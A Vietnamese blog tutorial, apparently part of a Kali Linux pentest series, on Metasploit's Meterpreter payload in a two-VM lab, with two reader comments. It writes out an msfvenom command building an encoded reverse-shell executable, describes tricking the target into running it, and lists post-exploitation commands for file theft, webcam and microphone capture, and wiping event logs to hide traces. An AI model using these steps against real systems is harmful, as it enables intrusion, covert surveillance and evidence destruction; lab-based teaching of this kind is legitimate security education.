Sử dụng Kali Linux để pentest phần 4: Hướng dẫn sử dụng payload Meterpreter

Payload là gì? 

Sau khi bạn khai thác một lỗ hỏng bảo mật và xâm nhập vào máy tính của mục tiêu, payload là một phần mềm được viết ra để thực hiện các hành động tấn công trên máy tính của mục tiêu. Payload có thể có nhiều chức năng từ tùy người lập trình ra muốn nó làm gì. Trên Metasploit, mỗi môi trường và phiên bản hệ điều hành khác nhau sẽ có các payload khác nhau được phân loại dựng vào tên của hệ điều hành mục tiêu.
Để xem các payload thích hợp sử dụng cho một exploit đã chọn ta có thể dùng lệnh:
msf exploit() > show payloads

Payload Meterpreter:

Love Meterpreter Shell
Love Meterpreter Shell
Meterpreter là một payload được sử dụng rộng rãi trong tấn công hệ điều hành Windows, có thể áp dụng trên hầu hết các phiên bản của Windows hiện nay. Sau khi khai thác thành công, Meterpreter sẽ là một remote shell (chương trình nhập lệnh điều khiển từ xa) cho phép hacker thực hiện các lệnh tấn công hay các công cụ trên hệ thống mục tiêu. Meterpreter có rất nhiều chức năng như quản lý file, upload/download, chụp ảnh màn hình, chụp ảnh webcam, ghi âm,... tất cả sẽ được hướng dẫn trong bài viết này.



Sử dụng exploit multi/handler:

Trong bài này ta vẫn thực hiện trên lab, gồm hai máy ảo VM:
  • Kali Linux 2016.2 - amd64 có địa chỉ IP là 172.16.100.3.
  • Windows 7 Professional SP1 - 32bit có địa chỉ IP là 172.16.100.4.
Bạn có thể xem lại bài hướng dẫn dựng lab để thực hành. Phương thức tấn công lần này là dùng msfvenom để tạo ra malware sau đó lừa mục tiêu chạy chương trình malware, cuối cùng sử dụng Metasploit nhận dữ liệu trả lời từ malware rồi thực thi payload Meterpreter điều khiển malware.
Để xem hướng dẫn sử dụng msfvenom hãy gõ lệnh msfvenom -h, sau đây là một ví dụ:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.100.3 RPORT=4444 -f exe -e x86/shikata_ga_nai -i 10 > /root/Desktop/malware.exe
Tạo phần mềm malware.
Tạo phần mềm malware.
Giải thích một tý về các tham số tùy chọn:
-p : tham số này cho phép ta chọn payload và tham số của payload.
-f : chọn dạng file cho malware.
-e : phiên bản hệ điều hành
-i : số lần mã hóa
và cuối cùng là chọn nơi xuất con malware.
Đến phần Metasploit ta sử dụng exploit/multi/handler và payload windows/meterpreter/reverse_tcp để nghe ngóng, hãy nhớ thiết lập các thông số yêu cầu như bình thường nhé.
exploit/multi/handler
exploit/multi/handler
Như vậy là ta bắt đầu vào tìm hiểu các sử dụng Meterpreter nhé các bạn.

Hướng dẫn sử dụng Meterpreter:

Bạn hãy thử gõ lệnh help để xem ta có những gì nào:
meterpreter > help
Các bạn thấy các câu lệnh trên Meterpreter được sắp xếp theo các mục lớn:
  • Core Commands: nhóm lệnh chính.
  • File System Commands: nhóm lệnh quản lý file.
  • Networking Commands: nhóm lệnh quản trị mạng.
  • System Commands: nhóm lệnh hệ thống.
  • User Interface Commands: nhóm lệnh giao điện người dùng.
  • Webcam Commands: nhóm lệnh điều khiển webcam.
  • Three Priv Commands.
Tất nhiên trong bài này mình sẽ không hướng dẫn hết tất cả các lệnh trong Meterpreter.

Core command:

background : Lưu lại session và thoát khỏi meterpreter trở về msf.
migrate <PID> : Thay đổi PID của tiến trình malware.
exitclose : Đóng session và thoát khỏi meterpreter.

File System Commands:

Quản lý file và thao tác với file trên metepreter cũng tương tự như các lệnh trên linux, tuy nhiên lại phân ra ba nhóm lệnh con.
Nhóm lệnh quản lý file.
Nhóm lệnh quản lý file.

Nhóm lệnh thao tác trên mục tiêu :
cat <file> : Xuất nội dung file ra terminal.
cd <folder> : Chuyển thư mục thực thi.
edit <file> : Chỉnh sửa nội dung một file.
getwdpwd : Hiển thị thực thi hiện hành.
ls [folder] : Xuất ra danh sách các file và thự mục.
mkdir <folder> : Tạo thư mục mới.
cp <file1> <file2> : Sao chép file đến địa chỉ mới và đổi tên (nếu có).
mv <file1> <file2> : Di chuyển file đến địa chỉ mới và đổi tên (nếu có).
rm <file> : Xóa file.
rmdir <folder> : Xóa thư mục rỗng.
search <name> : Tìm kiếm file hoặc thư mục.

Nhóm lệnh thao tác trên Local:
Các lệnh trong nhóm này được thực hiện trên local, tức là trên hệ thống của máy Kali Linux. Nó cũng tương tự các lệnh trên Remote chỉ là thêm vào chữ /lờ/ l vào đằng trước câu lệnh:
getlwdlpwd cho biết địa chỉ thư mục đang thực hiện.
lcd để di chuyển thư mục thực thi hiện hành.

Nhóm lệnh chung:
upload <file> : Tải lên một tập tin từ local lên mục tiêu.
download <file> : Tải xuống một tập tin từ remote về local.

Ví dụ: Tạo một thư mục tên hacker ở ổ đĩa C:\ trên máy mục tiêu và upload vào thư mục đó tập tin account.txt từ thư mục /root/ ở local, sau đó đọc tập tin đó.
Ví dụ.


Networking Commands:

Trong nhóm này gồm các lệnh xem thông tin về hệ thống mạng:
arp : Liệt kê địa chỉ IP và MAC trong mạng.
ifconfigipconfig : Hiển thị cấu hình card mạng của mục tiêu.
netstat : Liệt kê các kết nối của mục tiêu.

System Commands:

Các lệnh quản lý hệ thống máy tính của mục tiêu:
clearev : Xóa Event Log trên máy tính nạn nhân, thường dùng để xóa dấu vết sau khi tấn công.
getpid : Xem PID của tiến trình chạy malware. Có thể sử dụng lệnh migrate để thay đổi.
ps : Xem đầy đủ thông tin PID, PPID, tên, kiến trúc phần mềm, người dùng khởi chạy và thư mục chứa của các tiến trình đang chạy trên hệ thống.
kill : Tắt một tiến trình đang chạy.
suspend : Tạm dừng hoặc tiếp tục một tiến trình.
reboot : Khởi động lại máy mục tiêu.
shutdown : Tắt máy mục tiêu.


Chụp ảnh màn hình, webcam và ghi âm:

Phần này gồm hai nhóm lệnh mình gom lại chung một phần là User Interface và Webcam Commands.
screenshot : Chụp ảnh màn hình máy tính của mục tiêu.
run webcam [option] : Điều khiển webcam mục tiêu.
run sound_recorder [option] : Ghi âm máy tính mục tiêu.
run <script> : Khởi chạy một script, nếu bạn muốn xem danh sách các script thì hãy gõ run rồi ấn 2 lần nút Tab trên bàn phím.
checkvm : Kiểm tra mục tiêu là máy ảo hay máy thật. Nếu không sử dụng được bạn có thể dùng post/windows/gather/checkvm trên Metasploit.
shell : Mở chương trình MS-DOS và điều khiển nó.

Tổng kết:

Trên đây mình chỉ giới thiệu cũng như hướng dẫn qua cách sử dụng cơ bản thôi, Meterpreter vẫn còn nhiều chức năng nữa đang chờ bạn khám phá, nếu bạn có phát hiện thú vị, hãy chia sẻ với tôi bên dưới bình luận nhé. Cảm ơn các bạn đã đọc bài!!

Post a Comment

2 Comments

  1. đăng lên đây luôn
    rất cảm ơn đã giải thích các dòng lệnh ( mình rất bí khó hiểu mấy phần đó )

    ReplyDelete
  2. ad có thể giúp em với, em sử dụng wifi mà không làm như ad được

    ReplyDelete